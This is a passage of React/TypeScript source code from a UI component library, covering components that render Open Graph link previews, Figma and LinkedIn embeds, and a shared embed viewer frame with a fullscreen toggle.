bg-ods-border rounded w-full\" />\n              <div className=\"h-4 bg-ods-border rounded w-3/4\" />\n            </div>\n          </div>\n        )}\n        <iframe\n          src={embedUrl}\n          title=\"Embedded LinkedIn post\"\n          className=\"w-full h-full\"\n          style={{ border: 0 }}\n          loading=\"lazy\"\n          allowFullScreen\n          onLoad={() => setLoaded(true)}\n        />\n      </div>\n      <div className=\"px-4 py-3 bg-ods-bg-surface border-t border-ods-border\">\n        <a\n          href={url}\n          target=\"_blank\"\n          rel=\"noopener noreferrer\"\n          className=\"inline-flex items-center space-x-2 text-ods-accent hover:text-ods-accent/80 transition-colors text-h6\"\n        >\n          <ExternalLink className=\"w-4 h-4\" />\n          <span>View on LinkedIn</span>\n        </a>\n      </div>\n    </LinkedInContainer>\n  );\n}\n","\"use client\"\n\nimport React, { useState, useEffect, Component, ReactNode } from 'react'\nimport Image from '../../embed-shims/next-image'\nimport { useImageEdgeColor } from '../../hooks'\n\n/**\n * Open-Graph metadata returned by the consumer's scrape endpoint.\n *\n * The shape MUST match the JSON the OG endpoint serves at `ogEndpointPath`.\n * The hub's `/api/og-scraper` returns exactly these fields — embedders\n * with a different endpoint must return the same shape (or adapt at the\n * route boundary). Keeps the consumer surface trivial: one URL → one card.\n */\nexport interface OGData {\n  title: string\n  description: string\n  image: string\n  originalImage?: string\n  url: string\n  siteName: string\n  type: string\n  favicon: string\n}\n\ninterface ErrorBoundaryProps {\n  children: ReactNode\n  fallback: ReactNode\n}\n\ninterface ErrorBoundaryState {\n  hasError: boolean\n}\n\n/**\n * Tiny error boundary tailored for OG link previews — caught errors quietly\n * fall back to the `fallback` prop (typically a plain hyperlink) so a single\n * broken third-party preview can't crash a whole article view.\n *\n * Named `OGLinkErrorBoundary` (not the generic `ErrorBoundary`) because the\n * lib already exports a separate `ErrorBoundary` from\n * `components/features/error-boundary.tsx`. The top-level `components/index.ts`\n * barrel re-exports both `./embeds` and `./features` via `export *`, so a\n * second `ErrorBoundary` here collides as TS2308.\n */\nexport class OGLinkErrorBoundary extends Component<ErrorBoundaryProps, ErrorBoundaryState> {\n  constructor(props: ErrorBoundaryProps) {\n    super(props)\n    this.state = { hasError: false }\n  }\n\n  static getDerivedStateFromError(): ErrorBoundaryState {\n    return { hasError: true }\n  }\n\n  componentDidCatch(error: Error, errorInfo: React.ErrorInfo) {\n    console.warn('Link preview error caught by boundary:', error, errorInfo)\n  }\n\n  render() {\n    if (this.state.hasError) return this.props.fallback\n    return this.props.children\n  }\n}\n\n/**\n * Builds a placeholder image URL when the scrape returns no image. Hub passes\n * its own `buildOgPlaceholderUrl` (which hits `/api/og-placeholder?…&platform=`;\n * the route resolves the platform's brand colors server-side); other embedders\n * can omit the prop to disable the placeholder entirely.\n *\n * Receives the post-scrape `title` and `siteName` so the placeholder can echo\n * the actual card content, not a generic graphic.\n */\nexport type BuildPlaceholderUrl = (\n  title: string,\n  siteName: string,\n) => string | null\n\nexport interface OGLinkPreviewProps {\n  /** The external URL to preview. */\n  url: string\n  /** Origin / base URL the OG endpoint is served from. Empty / undefined\n   *  means same-origin (hub-direct use). Embed contexts pass the hub's\n   *  origin here (e.g. `'https://hub.example.com'`) so the fetch hits\n   *  the hub instead of the embedder origin.\n   *\n   *  Pattern matches lib's `useNatsDialogSubscription({apiBaseUrl})` +\n   *  `buildSuggestionUrl({apiBaseUrl})` so all embed-ready surfaces share\n   *  one configuration knob. */\n  apiBaseUrl?: string\n  /** Path of the OG endpoint on the configured base. Default\n   *  `'/api/og-scraper'` matches the hub's route. Override if the\n   *  embedder serves the same `OGData` shape from a different path. */\n  ogEndpointPath?: string\n  /** Optional placeholder-builder. Omit to disable the placeholder image\n   *  (the card then degrades to a favicon+title chip when no scraped image\n   *  is available). The hub injects its `buildOgPlaceholderUrl` here. */\n  buildPlaceholderUrl?: BuildPlaceholderUrl\n  /** Override the scraped title (used by publication cards that already know\n   *  the title locally — e.g. a CMS-managed press link). */\n  fallbackTitle?: string\n  /** Override the scraped description. */\n  fallbackDescription?: string\n  /** Override the scraped image — useful when the scrape returns no image but\n   *  the embedder has a CMS-stored hero image to fall back to. */\n  fallbackImage?: string\n  /** Publication / source name shown alongside the favicon (e.g. \"TechCrunch\"). */\n  publicationName?: string\n  /** Publication logo URL shown alongside the title (defaults to favicon). */\n  publicationLogo?: string\n  /** Card variant. `compact` = horizontal layout (~120px tall) suited for\n   *  in-doc placements; `default` = larger vertical layout for press / hero\n   *  positions. */\n  variant?: 'default' | 'compact'\n  /** Disable the synthesized placeholder image even when `buildPlaceholderUrl`\n   *  is provided — used by the markdown renderer to keep doc cards lighter. */\n  enablePlaceholder?: boolean\n}\n\nfunction getDomain(urlStr: string): string {\n  try { return new URL(urlStr).hostname.replace('www.', '') }\n  catch { return 'External Link' }\n}\n\nfunction domainToTitle(domain: string): string {\n  return domain.split('.')[0].replace(/-/g, ' ').replace(/\\b\\w/g, c => c.toUpperCase())\n}\n\nconst ExternalLinkIcon = ({ size = 16 }: { size?: number }) => (\n  <svg width={size} height={size} fill=\"none\" stroke=\"currentColor\" viewBox=\"0 0 24 24\" className=\"text-ods-text-secondary group-hover:text-ods-accent transition-colors flex-shrink-0\">\n    <path strokeLinecap=\"round\" strokeLinejoin=\"round\" strokeWidth={2} d=\"M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14\" />\n  </svg>\n)\n\nconst Favicon = ({ src, size = 'w-6 h-6' }: { src: string; size?: string }) => (\n  <img src={src} alt=\"\" className={size} onError={(e) => { (e.target as HTMLImageElement).style.display = 'none' }} />\n)\n\n/**\n * Rich Open-Graph link preview card with skeleton, fallback, and image-edge\n * background detection.\n *\n * Flow:\n *  1. Validate URL early (no network for malformed input, localhost, or\n *     RFC1918 ranges — those render as plain `<a>` tags).\n *  2. `GET ogEndpointPath?url=<encoded>` — embedder serves the shape declared\n *     in `OGData`.\n *  3. Resolve image: scraped og:image → `originalImage` fallback → `fallbackImage`\n *     prop → `buildPlaceholderUrl(title, siteName)`. Each step has its own\n *     error toggle so a 404 / CORS-tainted image gracefully degrades.\n *  4. Extract a letterbox background color from the resolved image via\n *     `useImageEdgeColor`. Same-origin proxy is REQUIRED for cross-origin\n *     images so the `<canvas>` extraction doesn't taint.\n *  5. Render compact (h-[120px] horizontal) or default (vertical w/ aspect-video\n *     hero) variant, with image-less degraded variants for each.\n */\nexport const OGLinkPreview: React.FC<OGLinkPreviewProps> = ({\n  url,\n  apiBaseUrl,\n  ogEndpointPath = '/api/og-scraper',\n  buildPlaceholderUrl,\n  fallbackTitle,\n  fallbackDescription,\n  fallbackImage,\n  publicationName,\n  publicationLogo,\n  variant = 'default',\n  enablePlaceholder = true,\n}) => {\n  const [ogData, setOgData] = useState<OGData | null>(null)\n  const [loading, setLoading] = useState(true)\n  const [error, setError] = useState(false)\n  const [imageError, setImageError] = useState(false)\n  const [originalImageError, setOriginalImageError] = useState(false)\n  const [fallbackImageError, setFallbackImageError] = useState(false)\n\n  let isValidUrl = true\n  let isLocalhost = false\n  try {\n    if (url && typeof url === 'string') {\n      const urlObj = new URL(url)\n      if (['localhost', '127.0.0.1', '0.0.0.0'].includes(urlObj.hostname) ||\n          urlObj.hostname.startsWith('192.168.') || urlObj.hostname.startsWith('10.') || urlObj.hostname.startsWith('172.')) {\n        isLocalhost = true\n      }\n    } else {\n      isValidUrl = false\n    }\n  } catch {\n    isValidUrl = false\n  }\n\n  useEffect(() => {\n    if (!isValidUrl || isLocalhost) return\n\n    const fetchOGData = async () => {\n      try {\n        new URL(url)\n        setLoading(true)\n        // Compose `${base}${path}?url=…`. Empty base → relative path\n        // (same-origin); absolute base → cross-origin embed against the hub.\n        // Plain string concat is safer than `new URL(path, base)` because\n        // the latter resolves `path` against the BASE's pathname when\n        // `path` is relative, producing surprising URLs when the embedder\n        // serves the lib from a subpath.\n        const endpoint = `${apiBaseUrl ?? ''}${ogEndpointPath}?url=${encodeURIComponent(url)}`\n        const response = await fetch(endpoint)\n        if (response.ok) {\n          const data = await response.json()\n          if (data?.title && data.title !== 'Link Preview Unavailable') {\n            setOgData(data)\n          } else {\n            setError(true)\n          }\n        } else {\n          setError(true)\n        }\n      } catch {\n        setError(true)\n      } finally {\n        setLoading(false)\n      }\n    }\n\n    fetchOGData()\n  }, [url, isValidUrl, isLocalhost, apiBaseUrl, ogEndpointPath])\n\n  const isCompact = variant === 'compact'\n  const domain = getDomain(url)\n\n  const effectiveData: OGData | null = ogData ?? (error ? {\n    title: fallbackTitle || domainToTitle(domain),\n    description: fallbackDescription || domain,\n    image: '',\n    url,\n    siteName: publicationName || domain,\n    type: 'website',\n    favicon: `https://www.google.com/s2/favicons?domain=${domain}&sz=32`,\n  } : null)\n\n  // Hub-injected placeholder builder — fires only when the post-scrape image\n  // chain is empty AND `enablePlaceholder` is true. `null` when unprovided.\n  const placeholderImageUrl =\n    enablePlaceholder && buildPlaceholderUrl && effectiveData?.title\n      ? buildPlaceholderUrl(effectiveData.title, effectiveData.siteName || domain)\n      : null\n\n  const resolvedImageUrl = (effectiveData?.image && !imageError)\n    ? effectiveData.image\n    : (effectiveData?.originalImage && !originalImageError)\n      ? effectiveData.originalImage\n      : (fallbackImage && !fallbackImageError)\n        ? fallbackImage\n        : placeholderImageUrl\n\n  const hasImage = !!resolvedImageUrl\n  const isFallbackImage = resolvedImageUrl === fallbackImage\n  const isPlaceholder = resolvedImageUrl === placeholderImageUrl && !isFallbackImage\n  const bgColor = useImageEdgeColor(resolvedImageUrl ?? null, 'var(--color-bg-surface)')\n\n  const renderSkeleton = () => isCompact ? (\n    <div className=\"my-4\">\n      <div className=\"flex flex-row border border-ods-border rounded-lg overflow-hidden bg-ods-card h-[120px]\">\n        <div className=\"w-[200px] h-full flex-shrink-0 bg-ods-border animate-pulse\" />\n        <div className=\"flex-1 p-3 flex flex-col justify-center\">\n          <div className=\"bg-ods-border rounded animate-pulse h-4 w-3/4 mb-2\" />\n          <div className=\"bg-ods-border rounded animate-pulse h-3 w-full mb-1\" />\n          <div className=\"bg-ods-border rounded animate-pulse h-3 w-2/3 mb-2\" />\n          <div className=\"bg-ods-border rounded animate-pulse h-3 w-1/3\" />\n        </div>\n      </div>\n    </div>\n  ) : (\n    <div className=\"my-6\">\n      <div className=\"block border border-ods-border rounded-lg overflow-hidden bg-ods-card\">\n        <div className=\"aspect-video w-full bg-ods-border overflow-hidden relative animate-pulse\" />\n        <div className=\"p-4\">\n          <div className=\"flex items-start gap-3\">\n            <div className=\"w-6 h-6 bg-ods-border rounded flex-shrink-0 mt-0.5 animate-pulse\" />\n            <div className=\"flex-1 min-w-0\">\n              <div className=\"h-[2.5rem] leading-[1.25rem] mb-2 overflow-hidden\">\n                <div className=\"bg-ods-border rounded animate-pulse\" style={{ height: '1.25rem', marginBottom: '0.25rem' }} />\n                <div className=\"bg-ods-border rounded animate-pulse w-3/4\" style={{ height: '1.25rem' }} />\n              </div>\n              <div className=\"h-[2.5rem] leading-[1.25rem] mb-2 overflow-hidden\">\n                <div className=\"bg-ods-border rounded animate-pulse\" style={{ height: '1.25rem', marginBottom: '0.25rem' }} />\n                <div className=\"bg-ods-border rounded animate-pulse w-5/6\" style={{ height: '1.25rem' }} />\n              </div>\n              <div className=\"flex items-center gap-2\">\n                <div className=\"bg-ods-border rounded animate-pulse\" style={{ height: '0.75rem', width: '6rem' }} />\n                <div className=\"bg-ods-border rounded animate-pulse\" style={{ height: '0.75rem', width: '5rem' }} />\n              </div>\n            </div>\n          </div>\n        </div>\n      </div>\n    </div>\n  )\n\n  if (!url || typeof url !== 'string' || !isValidUrl) return renderSkeleton()\n\n  if (isLocalhost) {\n    return (\n      <div className=\"my-6\">\n        <a href={url} target=\"_blank\" rel=\"noopener noreferrer\"\n          className=\"inline-flex items-center gap-2 text-ods-accent hover:text-ods-accent-hover transition-colors\">\n          <span className=\"underline\">{url}</span>\n          <ExternalLinkIcon size={14} />\n        </a>\n      </div>\n    )\n  }\n\n  if (loading) return renderSkeleton()\n  if (!effectiveData) return renderSkeleton()\n\n  const title = fallbackTitle || effectiveData.title\n  // Empty string when the scrape returned nothing — descriptions render\n  // conditionally below. Avoids the legacy `'No description available'` filler\n  // that signaled \"broken card\" to users.\n  const description = fallbackDescription || effectiveData.description || ''\n  const ogDomain = getDomain(effectiveData.url)\n  const faviconSrc = effectiveData.favicon || `https://www.google.com/s2/favicons?domain=${ogDomain}&sz=32`\n  const logoSrc = publicationLogo || faviconSrc\n\n  const handleImageError = () => {\n    if (effectiveData.image && !imageError) setImageError(true)\n    else if (effectiveData.originalImage && !originalImageError) setOriginalImageError(true)\n    else setFallbackImageError(true)\n  }\n\n  const renderImage = () => {\n    if (!resolvedImageUrl) return null\n    if (isPlaceholder) {\n      return (\n        <img src={resolvedImageUrl} alt={title}\n          className=\"absolute inset-0 w-full h-full object-cover rounded-md\" />\n      )\n    }\n    if (isFallbackImage) {\n      return (\n        <Image src={resolvedImageUrl} alt={title} fill\n          className=\"object-contain rounded-md group-hover:scale-105 transition-transform duration-300\"\n          onError={handleImageError}\n          unoptimized={resolvedImageUrl.includes('/render/image/')} />\n      )\n    }\n    return (\n      <img src={resolvedImageUrl} alt={title}\n        className=\"absolute inset-0 w-full h-full object-contain rounded-md group-hover:scale-105 transition-transform duration-300\"\n        onError={handleImageError} />\n    )\n  }\n\n  if (isCompact) {\n    if (!hasImage) {\n      return (\n        <div className=\"my-4\">\n          <a href={effectiveData.url} target=\"_blank\" rel=\"noopener noreferrer\"\n            className=\"flex flex-row items-center gap-3 border border-ods-border rounded-lg overflow-hidden bg-ods-card hover:border-ods-accent transition-all duration-200 group px-4 py-3\">\n            <div className=\"w-8 h-8 bg-ods-bg-surface rounded-lg flex items-center justify-center flex-shrink-0\">\n              <Favicon src={faviconSrc} size=\"w-5 h-5\" />\n            </div>\n            <div className=\"flex-1 min-w-0\">\n              <h3 className=\"text-h6 font-semibold text-ods-text-primary group-hover:text-ods-accent transition-colors truncate\">{title}</h3>\n              {description && (\n                <p className=\"text-h6 text-ods-text-secondary truncate\">{description}</p>\n              )}\n            </div>\n            <ExternalLinkIcon size={14} />\n          </a>\n        </div>\n      )\n    }\n    return (\n      <div className=\"my-4\">\n        <a href={effectiveData.url} target=\"_blank\" rel=\"noopener noreferrer\"\n          className=\"flex flex-row border border-ods-border rounded-lg overflow-hidden bg-ods-card hover:border-ods-accent transition-colors group h-[120px]\">\n          <div className=\"w-[200px] h-full flex-shrink-0 overflow-hidden relative flex items-center justify-center rounded-lg transition-colors duration-300\" style={{ backgroundColor: bgColor }}>\n            {renderImage()}\n          </div>\n          <div className=\"flex-1 p-3 flex flex-col justify-center min-w-0\">\n            <h3 className=\"text-h6 font-semibold text-ods-text-primary overflow-hidden group-hover:text-ods-accent transition-colors\"\n              style={{ display: '-webkit-box', WebkitLineClamp: 1, WebkitBoxOrient: 'vertical' }}>{title}</h3>\n            {description && (\n              <p className=\"text-h6 text-ods-text-secondary overflow-hidden mt-1\"\n                style={{ display: '-webkit-box', WebkitLineClamp: 2, WebkitBoxOrient: 'vertical' }}>{description}</p>\n            )}\n            <div className=\"text-h6 text-ods-text-secondary mt-1 truncate\">{effectiveData.siteName || ogDomain}</div>\n          </div>\n        </a>\n      </div>\n    )\n  }\n\n  if (!hasImage) {\n    return (\n      <div className=\"my-6\">\n        <a href={effectiveData.url} target=\"_blank\" rel=\"noopener noreferrer\"\n          className=\"flex items-center gap-3 border border-ods-border rounded-lg overflow-hidden bg-ods-card hover:border-ods-accent transition-all duration-200 group px-4 py-3\">\n          <div className=\"w-10 h-10 bg-ods-bg-surface rounded-lg flex items-center justify-center flex-shrink-0\">\n            <Favicon src={faviconSrc} />\n          </div>\n          <div className=\"flex-1 min-w-0\">\n            <h3 className=\"text-h6 font-semibold text-ods-text-primary group-hover:text-ods-accent transition-colors truncate\">{title}</h3>\n            {description && (\n              <p className=\"text-h6 text-ods-text-secondary truncate\">{description}</p>\n            )}\n          </div>\n          <ExternalLinkIcon />\n        </a>\n      </div>\n    )\n  }\n\n  return (\n    <div className=\"my-6\">\n      <a href={effectiveData.url} target=\"_blank\" rel=\"noopener noreferrer\"\n        className=\"block border border-ods-border rounded-lg overflow-hidden bg-ods-card hover:border-ods-accent transition-colors group\">\n        <div className=\"aspect-video w-full overflow-hidden relative flex items-center justify-center rounded-lg transition-colors duration-300\" style={{ backgroundColor: bgColor }}>\n          {renderImage()}\n        </div>\n        <div className=\"p-4\">\n          <div className=\"flex items-start gap-3\">\n            <img src={logoSrc} alt={publicationName || ''} className=\"w-6 h-6 rounded object-contain flex-shrink-0 mt-0.5\"\n              onError={(e) => { (e.target as HTMLImageElement).style.display = 'none' }} />\n            <div className=\"flex-1 min-w-0\">\n              <h3 className=\"text-h6 font-semibold text-ods-text-primary overflow-hidden group-hover:text-ods-accent transition-colors h-[2.5rem] mb-2\"\n                style={{ display: '-webkit-box', WebkitLineClamp: 2, WebkitBoxOrient: 'vertical' }}>{title}</h3>\n              {description && (\n                <p className=\"text-h6 text-ods-text-secondary overflow-hidden h-[2.5rem] mb-2\"\n                  style={{ display: '-webkit-box', WebkitLineClamp: 2, WebkitBoxOrient: 'vertical' }}>{description}</p>\n              )}\n              <div className=\"flex items-center gap-2 text-h6 text-ods-text-secondary\">\n                <span>{effectiveData.siteName}</span>\n                <span>•</span>\n                <span className=\"truncate\">{ogDomain}</span>\n              </div>\n            </div>\n          </div>\n        </div>\n      </a>\n    </div>\n  )\n}\n","'use client'\n\nimport { useState } from 'react'\nimport { Button, ToggleGroup, ToggleGroupItem } from '../ui'\nimport { FigmaIcon } from '../icons-v2-generated'\nimport { ExternalLink, Play, LayoutGrid } from 'lucide-react'\nimport { toFigmaEmbedUrl, toFigmaOriginalUrl, isFigmaSlidesUrl } from '../../utils/embed-url-converters'\nimport { EmbedViewerFrame } from './embed-viewer-frame'\n\nexport interface FigmaEmbedProps {\n  /** Any Figma URL (design/file/proto/board/slides/deck) or an already-resolved embed URL. */\n  url: string\n  /** Heading shown above the embed. Defaults to \"Figma Design\". */\n  title?: string\n  /**\n   * iframe height (CSS value). The data-room document viewer omits it (full\n   * height, `calc(100vh - 250px)`); inline markdown passes e.g. `\"70vh\"` so the\n   * embed sits naturally inside article content.\n   */\n  height?: string\n  /** iframe loading strategy. Defaults to `\"lazy\"`; the data-room viewer passes `\"eager\"`. */\n  loading?: 'eager' | 'lazy'\n}\n\ntype SlidesView = 'present' | 'browse'\n\n/**\n * Two-state present/browse toggle for Figma Slides. `present` (default) uses\n * Figma's deck viewer (full-bleed slide + `‹ n/N ›` nav bar + keyboard nav);\n * `browse` uses the thumbnail-rail + zoom viewer.\n */\nfunction SlidesViewToggle({\n  view,\n  onChange,\n}: {\n  view: SlidesView\n  onChange: (v: SlidesView) => void\n}) {\n  const options: { key: SlidesView; label: string; Icon: typeof Play }[] = [\n    { key: 'present', label: 'Present', Icon: Play },\n    { key: 'browse', label: 'Browse', Icon: LayoutGrid },\n  ]\n  return (\n    <ToggleGroup\n      type=\"single\"\n      value={view}\n      onValueChange={(v: string) => {\n        if (v && v !== view) onChange(v as SlidesView)\n      }}\n      aria-label=\"Figma slides view mode\"\n      className=\"flex shrink-0 items-center gap-0.5 rounded-lg border border-ods-border bg-ods-card p-0.5\"\n    >\n      {options.map(({ key, label, Icon }) => {\n        const active = view === key\n        return (\n          <ToggleGroupItem\n            key={key}\n            value={key}\n            aria-label={label}\n            className={`flex items-center gap-1.5 rounded-md px-2.5 py-1 text-h6 transition-colors ${\n              active\n                ? 'bg-ods-accent text-ods-text-on-accent'\n                : 'text-ods-text-secondary hover:text-ods-text-primary hover:bg-ods-bg-hover'\n            }`}\n          >\n            <Icon className=\"h-4 w-4 shrink-0\" />\n            {label}\n          </ToggleGroupItem>\n        )\n      })}\n    </ToggleGroup>\n  )\n}\n\n/**\n * Single source of truth for every Figma surface — the data-room document viewer\n * and in-article markdown both render this. A header (icon + title + \"Open in\n * Figma\") over an interactive Figma iframe, built from the canonical\n * `toFigmaEmbedUrl` / `toFigmaOriginalUrl` converters + the shared\n * `<EmbedViewerFrame>` (which owns the header/empty-state/iframe shell).\n * Only height/loading differ per surface.\n *\n * For Slides decks, a present/browse toggle (default = present) lets viewers flip\n * slides with Figma's native nav bar + keyboard, or switch to the thumbnail-rail\n * browse view. The toggle's state lives HERE (the frame's `actions` slot is a\n * plain ReactNode) — flipping it recomputes `embedSrc`, and the frame's\n * `EmbedIframe` remounts on the new src exactly as before the extraction.\n */\nexport function FigmaEmbed({ url, title, height, loading = 'lazy' }: FigmaEmbedProps) {\n  const [view, setView] = useState<SlidesView>('present')\n  const isSlides = url ? isFigmaSlidesUrl(url) : false\n  const embedSrc = url ? toFigmaEmbedUrl(url, { slidesView: view }) : null\n  const originalUrl = (() => {\n    if (!url) return null\n    try {\n      const parsed = new URL(toFigmaOriginalUrl(url))\n      const host = parsed.hostname.toLowerCase()\n      const okHost = host === 'figma.com' || host.endsWith('.figma.com')\n      const okProtocol = parsed.protocol === 'https:' || parsed.protocol === 'http:'\n      return okHost && okProtocol ? parsed.toString() : null\n    } catch {\n      return null\n    }\n  })()\n  const heading = title || 'Figma Design'\n\n  return (\n    <EmbedViewerFrame\n      className=\"my-6 space-y-3\"\n      icon={<FigmaIcon className=\"w-5 h-5 shrink-0\" />}\n      title={heading}\n      titleVariant=\"h6\"\n      actions={\n        <div className=\"flex flex-col gap-2 sm:flex-row sm:items-center\">\n          {isSlides && embedSrc && <SlidesViewToggle view={view} onChange={setView} />}\n          {originalUrl && (\n            <Button\n              variant=\"outline\"\n              size=\"small-legacy\"\n              href={originalUrl}\n              openInNewTab\n              leftIcon={<FigmaIcon className=\"w-4 h-4\" />}\n              rightIcon={<ExternalLink className=\"w-4 h-4\" />}\n              className=\"w-full sm:w-auto\"\n            >\n              Open in Figma\n            </Button>\n          )}\n        </div>\n      }\n      src={embedSrc}\n      allow=\"clipboard-write; clipboard-read; fullscreen\"\n      loading={loading}\n      height={height}\n      allowFullScreen\n      emptyIcon={<FigmaIcon className=\"w-16 h-16 text-ods-text-secondary mb-4\" />}\n      emptyMessage=\"Figma URL not configured\"\n    />\n  )\n}\n","'use client'\n\nimport React, { useEffect, useRef, useState } from 'react'\nimport { Maximize2, Minimize2 } from 'lucide-react'\nimport { cn } from '../../utils/cn'\nimport { FullscreenSwitchController } from '../../utils/fullscreen-switch'\nimport { Button } from '../ui/button/button'\nimport { EmbedIframe, EmbedLoadingSkeleton } from './embed-iframe'\n\n/**\n * EmbedViewerFrame — the ONE viewer shell shared by every embed viewer\n * (Google Sheets / PDF / Figma): header row (icon + title + caller-supplied\n * actions) over an `EmbedIframe`, with an inline empty state when there is no\n * `src`.\n *\n * Extraction rules (output parity with the three pre-existing viewers is the\n * merge gate — every knob below exists because the shells were NOT byte-\n * identical):\n *   - `titleVariant`: sheets/pdf render `h2.text-h3`; figma renders\n *     `span.text-h6 font-semibold`.\n *   - `actions` is rendered AS-IS in the header row — each viewer owns its\n *     action container (pdf wraps two buttons, figma wraps a stateful\n *     ToggleGroup + button). State lives in the CALLER (figma's present/\n *     browse toggle keeps its `useState` in `FigmaEmbed`), so the slot is a\n *     plain ReactNode and re-renders flow through normally.\n *   - `className` overrides the wrapper (figma uses `my-6 space-y-3`).\n *   - Empty body (`src` falsy) keeps the header visible (figma's behavior).\n *     Viewers that historically rendered a standalone empty state WITHOUT a\n *     header (sheets/pdf with no URL at all) early-return before mounting\n *     the frame.\n */\nexport interface EmbedViewerFrameProps {\n  /** Header icon, already sized by the caller (the viewers pass `w-5 h-5`). */\n  icon: React.ReactNode\n  title: string\n  /** `h3` = `h2.text-h3` (sheets/pdf, default); `h6` = `span.text-h6 font-semibold` (figma). */\n  titleVariant?: 'h3' | 'h6'\n  /** Rendered verbatim in the header row — the caller owns its own container/state. */\n  actions?: React.ReactNode\n  /** Iframe source; falsy renders the inline empty state (or the loading\n   *  state when `isLoading`) under the header. */\n  src: string | null | undefined\n  /** While true AND there is no `src` yet, the body shows the shared embed\n   *  loading skeleton (`EmbedLoadingSkeleton`) instead of the empty state —\n   *  for a viewer that is still resolving where its frame points (e.g.\n   *  ClaudeEmbed probing for a self-hosted mirror), so a cold first view\n   *  reads as \"loading\" (identical to every other embed), not \"nothing here\". */\n  isLoading?: boolean\n  /** Large icon for the inline empty state (the viewers pass `w-16 h-16`). */\n  emptyIcon?: React.ReactNode\n  emptyMessage?: string\n  height?: string\n  allow?: string\n  allowFullScreen?: boolean\n  loading?: 'eager' | 'lazy'\n  /** iframe `sandbox` — see `EmbedIframe`. Set it for user-authored contents. */\n  sandbox?: string\n  /** Wrapper classes; defaults to the sheets/pdf `space-y-4`. */\n  className?: string\n  /** Opt-in fullscreen toggle in the header row (rendered after `actions`,\n   *  only when there is a `src`). Fullscreens the WHOLE frame — header\n   *  included — so the exit control stays reachable (Esc works too).\n   *  Exists because some embedded contents ship their own fullscreen\n   *  button (the Figma player) and some cannot (a self-hosted Claude\n   *  artifact mirror) — the shell provides the affordance uniformly. */\n  fullscreenControl?: boolean\n}\n\nexport function EmbedViewerFrame({\n  icon,\n  title,\n  titleVariant = 'h3',\n  actions,\n  src,\n  isLoading,\n  emptyIcon,\n  emptyMessage = 'Content not available',\n  height,\n  allow,\n  allowFullScreen,\n  loading,\n  sandbox,\n  className,\n  fullscreenControl,\n}: EmbedViewerFrameProps) {\n  const frameRef = useRef<HTMLDivElement>(null)\n  const [isFullscreen, setIsFullscreen] = useState(false)\n\n  // ONE fullscreen implementation across the library and its hosts:\n  // `FullscreenSwitchController` (shared with the hub's deck) owns the\n  // Fullscreen API calls, webkit fallbacks, rejection safety, and the\n  // change-event-driven state — Esc, F11, buttons and browser chrome all\n  // converge on its listener, so the icon can never desync. Here it runs\n  // element-level (`target` = this frame; no mask classes — the frame\n  // styles off its own state).\n  const controllerRef = useRef<FullscreenSwitchController | null>(null)\n  useEffect(() => {\n    if (!fullscreenControl) return\n    const controller = new FullscreenSwitchController({\n      target: () => frameRef.current,\n      onFullscreenChange: setIsFullscreen,\n    })\n    controllerRef.current = controller\n    controller.attach()\n    return () => {\n      controllerRef.current = null\n      controller.detach()\n    }\n  }, [fullscreenControl])\n  const toggleFullscreen = () => controllerRef.current?.toggle()\n\n  return (\n    <div\n      ref={frameRef}\n      className={cn(\n        'space-y-[var(--spacing-system-mf)]',\n        className,\n        // Fullscreen paints its own ground (the fullscreened element\n        // otherwise sits on the UA's black backdrop) and scrolls itself.\n        isFullscreen && 'overflow-auto bg-ods-bg p-[var(--spacing-system-mf)]',\n      )}\n    >\n      <div className=\"flex flex-col gap-3 sm:flex-row sm:items-center sm:justify-between\">\n        <div className=\"flex items-center gap-2 min-w-0\">\n          {icon}\n          {titleVariant === 'h3' ? (\n            <h2 className=\"text-h3 text-ods-text-primary truncate\">{title}</h2>\n          ) : (\n            <span className=\"text-h6 font-semibold text-ods-text-primary truncate\">{title}</span>\n          )}\n        </div>\n        {/* Same responsive action-row idiom as the PDF viewer's button pair\n            and every viewer's own action: full-width stacked on mobile,\n            inline row from `sm:` up, SAME Button idiom (outline /\n            small-legacy / w-4 icon / w-full sm:w-auto). Without the\n            fullscreen toggle, `actions` renders EXACTLY as before — the\n            wrapper exists only when the toggle joins it, so pre-existing\n            viewers (figma/pdf/sheets) are byte-identical. */}\n        {fullscreenControl && src ? (\n          <div className=\"flex flex-col gap-[var(--spacing-system-xsf)] sm:flex-row sm:items-center\">\n            {actions}\n            <Button\n              variant=\"outline\"\n              size=\"small-legacy\"\n              onClick={toggleFullscreen}\n              aria-label={isFullscreen ? 'Exit fullscreen' : 'Enter fullscreen'}\n              leftIcon={isFullscreen ? <Minimize2 className=\"w-4 h-4\" /> : <Maximize2 className=\"w-4 h-4\" />}\n              className=\"w-full sm:w-auto\"\n            >\n              {isFullscreen ? 'Exit fullscreen' : 'Fullscreen'}\n            </Button>\n          </div>\n        ) : (\n          actions\n        )}\n      </div>\n      {src ? (\n        <EmbedIframe\n          src={src}\n          title={title}\n          // 96px = the fullscreen wrapper's own chrome above the iframe:\n          // header row (~40px incl. its gap) + the wrapper's mf padding\n          // (16px × 2) + the mf space-y gap (16px), rounded up so the\n          // frame never forces a scrollbar. Recheck if that chrome changes.\n          height={isFullscreen ? 'calc(100vh - 96px)' : height}\n          allow={allow}\n          allowFullScreen={allowFullScreen}\n          loading={loading}\n          sandbox={sandbox}\n        />\n      ) : isLoading ? (\n        // The EXACT skeleton every embed shows while its iframe loads\n        // (`EmbedIframe`'s `EmbedLoadingSkeleton`) — so a viewer still\n        // RESOLVING where its frame points (ClaudeEmbed probing for a mirror,\n        // before it has a `src`) reads 1:1 with the Figma/Sheets/PDF loading\n        // state, then settles into the iframe in place.\n        <EmbedLoadingSkeleton height={height} />\n      ) : (\n        // The SAME box the iframe would have filled: same height, same rounded\n        // border. A viewer whose content is missing must not collapse the page\n        // around it — two embeds side by side (a figma frame and a claude link\n        // that has no embeddable view) have to read as two equal blocks.\n        // Without a `height` the caller never asked for a fixed box, so the\n        // intrinsic `py-16` stands.\n        <div\n          className=\"flex flex-col items-center justify-center rounded-lg border border-ods-border px-4 py-16 text-center\"\n          style={height ? { height } : undefined}\n        >\n          {emptyIcon}\n          <p className=\"text-ods-text-secondary\">{emptyMessage}</p>\n        </div>\n      )}\n    </div>\n  )\n}\n","/**\n * FullscreenSwitchController — the ONE place fullscreen enter/exit lives.\n *\n * Framework-agnostic (no React): the consumer passes callbacks (and, for\n * page-level surfaces, the <html> mask classes); the controller owns the\n * Fullscreen API calls, webkit fallbacks, and the flicker-free switch\n * choreography. Originally extracted from the hub's company-hub deck (PR\n * #737); moved into the lib so EVERY fullscreen surface — the 